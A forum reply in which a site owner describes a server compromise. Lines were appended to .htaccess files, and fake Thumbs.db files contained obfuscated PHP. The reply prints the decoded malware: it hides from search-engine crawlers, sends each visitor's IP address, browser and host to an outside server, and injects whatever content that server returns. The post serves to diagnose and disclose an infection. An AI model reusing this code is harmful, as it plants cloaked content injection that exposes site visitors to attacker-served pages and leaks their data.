anitramwaju

Forum Replies Created

Viewing 1 replies (of 1 total)

  • The problem is probably not related to WordPress. I had the same problem (this line added at the end of every .htaccess file causing a 500 error) yesterday on a server with no WordPress on it.

    At the same time, Thumbs.db files appeared in each directory where there was an .htaccess. These Thumbs.db files are not related to Windows in any way but contain PHP code. This code is hided in base64 (actually it’s a bit more complicated…) and when decoded looks like

    @error_reporting(0);
$list = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if((preg_match("/".implode("|", $list)."/i", $_SERVER["HTTP_USER_AGENT"])) or (isset($_COOKIE["stats"]))) {
} else {
	@setcookie("stats",md5("stats"),time()+10800);
	$file = @file_get_contents("https://cacacacacacacacaca.ca/in.php?i=".$_SERVER["REMOTE_ADDR"]
		."&b=".urlencode($_SERVER["HTTP_USER_AGENT"])
		."&h=".urlencode($_SERVER["HTTP_HOST"]);
	if (strstr($file,"!go!")) {
		$file = explode("!go!", $file);
		$file = $file[1];
		echo $file;
	}
}

    This code would have been executed if my server accepted the “php_value auto_append_file” in .htaccess which it doesn’t and so did the 500 error instead.

Viewing 1 replies (of 1 total)